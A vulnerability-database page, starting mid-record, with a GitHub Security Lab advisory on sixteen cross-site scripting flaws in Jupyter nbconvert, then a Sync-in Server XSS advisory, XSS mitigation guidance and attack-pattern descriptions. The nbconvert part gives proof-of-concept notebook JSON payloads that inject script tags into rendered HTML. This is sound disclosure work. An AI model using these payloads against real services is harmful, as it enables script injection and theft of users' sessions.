metadata)\n```\n\nThe `cssclass` variable is then [concatenated in the outer div class attribute](https://github.com/pygments/pygments/blob/30cfa26201a27dee1f8e6b0d600cad1138e64507/pygments/formatters/html.py#L791)\n\n``` python\nyield 0, (\u0027\u003cdiv\u0027 + (self.cssclass and \u0027 class=\"%s\"\u0027 % self.cssclass) + (style and (\u0027 style=\"%s\"\u0027 % style)) + \u0027\u003e\u0027)\n```\n\nNote that the `cssclass` variable is also used in other unsafe places such as [`\u0027\u003ctable class=\"%stable\"\u003e\u0027 % self.cssclass + filename_tr +`](https://github.com/pygments/pygments/blob/30cfa26201a27dee1f8e6b0d600cad1138e64507/pygments/formatters/html.py#L711))\n\n### Issue 2: XSS in notebook.metadata.title (`GHSL-2021-1014`)\n\nThe `notebook.metadata.title` node is rendered directly to the [`index.html.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/lab/index.html.j2#L12-L13) HTML template with no escaping: \n\n```html\n{% set nb_title = nb.metadata.get(\u0027title\u0027, \u0027\u0027) or resources[\u0027metadata\u0027][\u0027name\u0027] %}\n\u003ctitle\u003e{{nb_title}}\u003c/title\u003e\n```\n\nThe following `notebook.metadata.title` node will execute arbitrary javascript:\n\n```json\n \"metadata\": {\n \"title\": \"TITLE\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\"\n }\n```\n\nNote: this issue also affect other templates, not just the `lab` one.\n\n### Issue 3: XSS in notebook.metadata.widgets(`GHSL-2021-1015`)\n\nThe `notebook.metadata.widgets` node is rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/lab/index.html.j2#L12-L13) HTML template with no escaping: \n\n```html\n{% set mimetype = \u0027application/vnd.jupyter.widget-state+json\u0027%}\n{% if mimetype in nb.metadata.get(\"widgets\",{})%}\n\u003cscript type=\"{{ mimetype }}\"\u003e\n{{ nb.metadata.widgets[mimetype] | json_dumps }}\n\u003c/script\u003e\n{% endif %}\n```\n\nThe following `notebook.metadata.widgets` node will execute arbitrary javascript:\n\n```json\n \"metadata\": {\n \"widgets\": {\n \"application/vnd.jupyter.widget-state+json\": {\"foo\": \"pwntester\u003c/script\u003e\u003cscript\u003ealert(1);//\"}\n }\n }\n```\n\nNote: this issue also affect other templates, not just the `lab` one.\n\n### Issue 4: XSS in notebook.cell.metadata.tags(`GHSL-2021-1016`)\n\nThe `notebook.cell.metadata.tags` nodes are output directly to the [`celltags.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/base/celltags.j2#L4) HTML template with no escaping: \n\n```\n{%- macro celltags(cell) -%}\n {% if cell.metadata.tags | length \u003e 0 -%}\n {% for tag in cell.metadata.tags -%}\n {{ \u0027 celltag_\u0027 ~ tag -}}\n {%- endfor -%}\n {%- endif %}\n{%- endmacro %}\n```\n\nThe following `notebook.cell.metadata.tags` node will execute arbitrary javascript:\n\n```json\n {\n \"cell_type\": \"code\",\n \"execution_count\": null,\n \"id\": \"727d1a5f\",\n \"metadata\": {\n \"tags\": [\"FOO\\\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cdiv \\\"\"]\n },\n \"outputs\": [],\n \"source\": []\n }\n ],\n```\n\nNote: this issue also affect other templates, not just the `lab` one.\n\n### Issue 5: XSS in output data text/html cells(`GHSL-2021-1017`)\n\nUsing the `text/html` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe following is an example of a cell with `text/html` output executing arbitrary javascript code:\n\n```json\n {\n \"cell_type\": \"code\",\n \"execution_count\": 5,\n \"id\": \"b72e53fa\",\n \"metadata\": {},\n \"outputs\": [\n {\n \"data\": {\n \"text/html\": [\n \"\u003cscript\u003ealert(1)\u003c/script\u003e\"\n ]\n },\n \"execution_count\": 5,\n \"metadata\": {},\n \"output_type\": \"execute_result\"\n }\n ],\n \"source\": [\n \"import os; os.system(\u0027touch /tmp/pwned\u0027)\"\n ]\n },\n```\n\n### Issue 6: XSS in output data image/svg+xml cells(`GHSL-2021-1018`)\n\nUsing the `image/svg+xml` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"image/svg+xml\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{%- else %}\n{{ output.data[\u0027image/svg+xml\u0027] }}\n{%- endif %}\n```\n\nThe following `cell.output.data[\"image/svg+xml\"]` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"image/svg+xml\": [\"\u003cscript\u003econsole.log(\\\"image/svg+xml output\\\")\u003c/script\u003e\"]\n },\n \"execution_count\": null,\n \"metadata\": {\n }\n }\n```\n\n### Issue 7: XSS in notebook.cell.output.svg_filename(`GHSL-2021-1019`)\n\nThe `cell.output.svg_filename` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{%- if output.svg_filename %}\n\u003cimg src=\"{{ output.svg_filename | posix_path }}\"\u003e\n```\n\nThe following `cell.output.svg_filename` node will escape the `img` tag context and execute arbitrary javascript:\n\n```json\n {\n \"cell_type\": \"code\",\n \"execution_count\": null,\n \"id\": \"b72e53fa\",\n \"metadata\": {},\n \"outputs\": [\n {\n \"output_type\": \"execute_result\",\n \"svg_filename\": \"\\\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\",\n \"data\": {\n \"image/svg+xml\": [\"\"]\n },\n \"execution_count\": null,\n \"metadata\": {\n }\n }\n ],\n \"source\": [\"\"]\n },\n```\n\n### Issue 8: XSS in output data text/markdown cells(`GHSL-2021-1020`)\n\nUsing the `text/markdown` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"text/markdown\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{{ output.data[\u0027text/markdown\u0027] | markdown2html }}\n```\n\nThe following `cell.output.data[\"text/markdown\"]` node will execute arbitrary javascript:\n\n```\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"text/markdown\": [\"\u003cscript\u003econsole.log(\\\"text/markdown output\\\")\u003c/script\u003e\"]\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n### Issue 9: XSS in output data application/javascript cells(`GHSL-2021-1021`)\n\nUsing the `application/javascript` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe `cell.output.data[\"application/javascript\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n\u003cscript type=\"text/javascript\"\u003e\nvar element = document.getElementById(\u0027{{ div_id }}\u0027);\n{{ output.data[\u0027application/javascript\u0027] }}\n\u003c/script\u003e\n```\n\nThe following `cell.output.data[\"application/javascript\"]` node will execute arbitrary javascript:\n\n```\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"application/javascript\": [\"console.log(\\\"application/javascript output\\\")\"]\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n### Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(`GHSL-2021-1022`)\n\nThe `cell.output.metadata.filenames[\"images/png\"]` and `cell.metadata.filenames[\"images/jpeg\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- if \u0027image/png\u0027 in output.metadata.get(\u0027filenames\u0027, {}) %}\n\u003cimg src=\"{{ output.metadata.filenames[\u0027image/png\u0027] | posix_path }}\"\n```\n\nThe following `filenames` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"image/png\": [\"\"]\n },\n \"execution_count\": null,\n \"metadata\": {\n \"filenames\": {\n \"image/png\": \"\\\"\u003e\u003cscript\u003econsole.log(\\\"output.metadata.filenames.image/png injection\\\")\u003c/script\u003e\" \n }\n }\n }\n```\n\n### Issue 11: XSS in output data image/png and image/jpeg cells(`GHSL-2021-1023`)\n\nUsing the `image/png` or `image/jpeg` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"images/png\"]` and `cell.output.data[\"images/jpeg\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- else %}\n\u003cimg src=\"data:image/png;base64,{{ output.data[\u0027image/png\u0027] }}\"\n{%- endif %}\n```\n\nThe following `cell.output.data[\"image/png\"]` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"image/png\": [\"\\\"\u003e\u003cscript\u003econsole.log(\\\"image/png output\\\")\u003c/script\u003e\"]\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n### Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(`GHSL-2021-1024`)\n\nThe `cell.output.metadata.width` and `cell.output.metadata.height` nodes of both `image/png` and `image/jpeg` cells are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- set width=output | get_metadata(\u0027width\u0027, \u0027image/png\u0027) -%}\nwidth={{ width }}\n{%- set height=output | get_metadata(\u0027height\u0027, \u0027image/png\u0027) -%}\nheight={{ height }}\n```\n\nThe following `output.metadata.width` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"image/png\": [\"abcd\"]\n },\n \"execution_count\": null,\n \"metadata\": {\n \"width\": \"\u003e\u003cscript\u003econsole.log(\\\"output.metadata.width png injection\\\")\u003c/script\u003e\"\n }\n }\n```\n\n### Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(`GHSL-2021-1025`)\n\nThe `cell.output.data[\"application/vnd.jupyter.widget-state+json\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{% set datatype_list = output.data | filter_data_type %}\n{% set datatype = datatype_list[0]%}\n\u003cscript type=\"{{ datatype }}\"\u003e\n{{ output.data[datatype] | json_dumps }}\n\u003c/script\u003e\n```\n\nThe following `cell.output.data[\"application/vnd.jupyter.widget-state+json\"]` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"application/vnd.jupyter.widget-state+json\": \"\\\"\u003c/script\u003e\u003cscript\u003econsole.log(\u0027output.data.application/vnd.jupyter.widget-state+json injection\u0027)//\"\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n### Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(`GHSL-2021-1026`)\n\nThe `cell.output.data[\"application/vnd.jupyter.widget-view+json\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{% set datatype_list = output.data | filter_data_type %}\n{% set datatype = datatype_list[0]%}\n\u003cscript type=\"{{ datatype }}\"\u003e\n{{ output.data[datatype] | json_dumps }}\n\u003c/script\u003e\n```\n\nThe following `cell.output.data[\"application/vnd.jupyter.widget-view+json\"]` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"application/vnd.jupyter.widget-view+json\": \"\\\"\u003c/script\u003e\u003cscript\u003econsole.log(\u0027output.data.application/vnd.jupyter.widget-view+json injection\u0027)//\"\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n\n### Issue 15: XSS in raw cells(`GHSL-2021-1027`)\n\nUsing a `raw` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe following is an example of a `raw` cell executing arbitrary javascript code:\n\n```json\n {\n \"cell_type\": \"raw\",\n \"id\": \"372c2bf1\",\n \"metadata\": {},\n \"source\": [\n \"Payload in raw cell \u003cscript\u003ealert(1)\u003c/script\u003e\"\n ]\n }\n```\n\n### Issue 16: XSS in markdown cells(`GHSL-2021-1028`)\n\nUsing a `markdown` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe following is an example of a `markdown` cell executing arbitrary javascript code:\n\n```json\n {\n \"cell_type\": \"markdown\",\n \"id\": \"2d42de4a\",\n \"metadata\": {},\n \"source\": [\n \"\u003cscript\u003ealert(1)\u003c/script\u003e\"\n ]\n },\n```\n\n### Proof of Concept\n\nThese vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example [nbviewer](https://nbviewer.jupyter.org) is vulnerable to the above mentioned XSS issues:\n\n1. Create Gist with payload. eg:\n- `https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c`\n\n2. Then load gist on nbviewer. eg:\n- `https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c`\n\nNote: response is served with `content-security-policy: connect-src \u0027none\u0027;`\n\n## GitHub Security Advisories\n\nWe recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).\n\n## Credit\n\nThese issues were discovered and reported by GHSL team member [@pwntester (Alvaro Mu\u00f1oz)](https://github.com/pwntester).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` in any communication regarding these issues.\n\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).\n",
"id": "GHSA-9jmq-rx5f-8jwq",
"modified": "2024-01-25T22:10:32Z",
"published": "2022-08-10T17:51:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter/nbconvert/security/advisories/GHSA-9jmq-rx5f-8jwq"
},
{
"type": "WEB",
"url": "https://github.com/jupyter/nbviewer/security/advisories/GHSA-h274-fcvj-h2wm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32862"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter/nbconvert"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nbconvert/PYSEC-2022-249.yaml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00003.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "nbconvert vulnerable to cross-site scripting (XSS) via multiple exploit paths"
}
GHSA-9JMQ-XGJM-P8C2
Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-20 21:15A Stored Cross-Site Scripting (XSS) vulnerability in Sync-in Server before 1.9.3 allows an authenticated attacker to execute arbitrary JavaScript in a victim's browser. By uploading a crafted SVG file containing a malicious payload, an attacker can access and exfiltrate sensitive information, including the user's session cookies.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@sync-in/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67438"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-20T21:15:36Z",
"nvd_published_at": "2026-02-20T16:22:02Z",
"severity": "MODERATE"
},
"details": "A Stored Cross-Site Scripting (XSS) vulnerability in Sync-in Server before 1.9.3 allows an authenticated attacker to execute arbitrary JavaScript in a victim\u0027s browser. By uploading a crafted SVG file containing a malicious payload, an attacker can access and exfiltrate sensitive information, including the user\u0027s session cookies.",
"id": "GHSA-9jmq-xgjm-p8c2",
"modified": "2026-02-20T21:15:36Z",
"published": "2026-02-20T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67438"
},
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/commit/a6276d067725637310e4e83a3eee337aae81f439"
},
{
"type": "WEB",
"url": "https://gist.github.com/x0root/86db30af91bb0e1707eb7e57a049b6ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/Sync-in/server"
},
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/releases/tag/v1.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Sync-in Server has a stored cross-site scripting (XSS) vulnerability"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.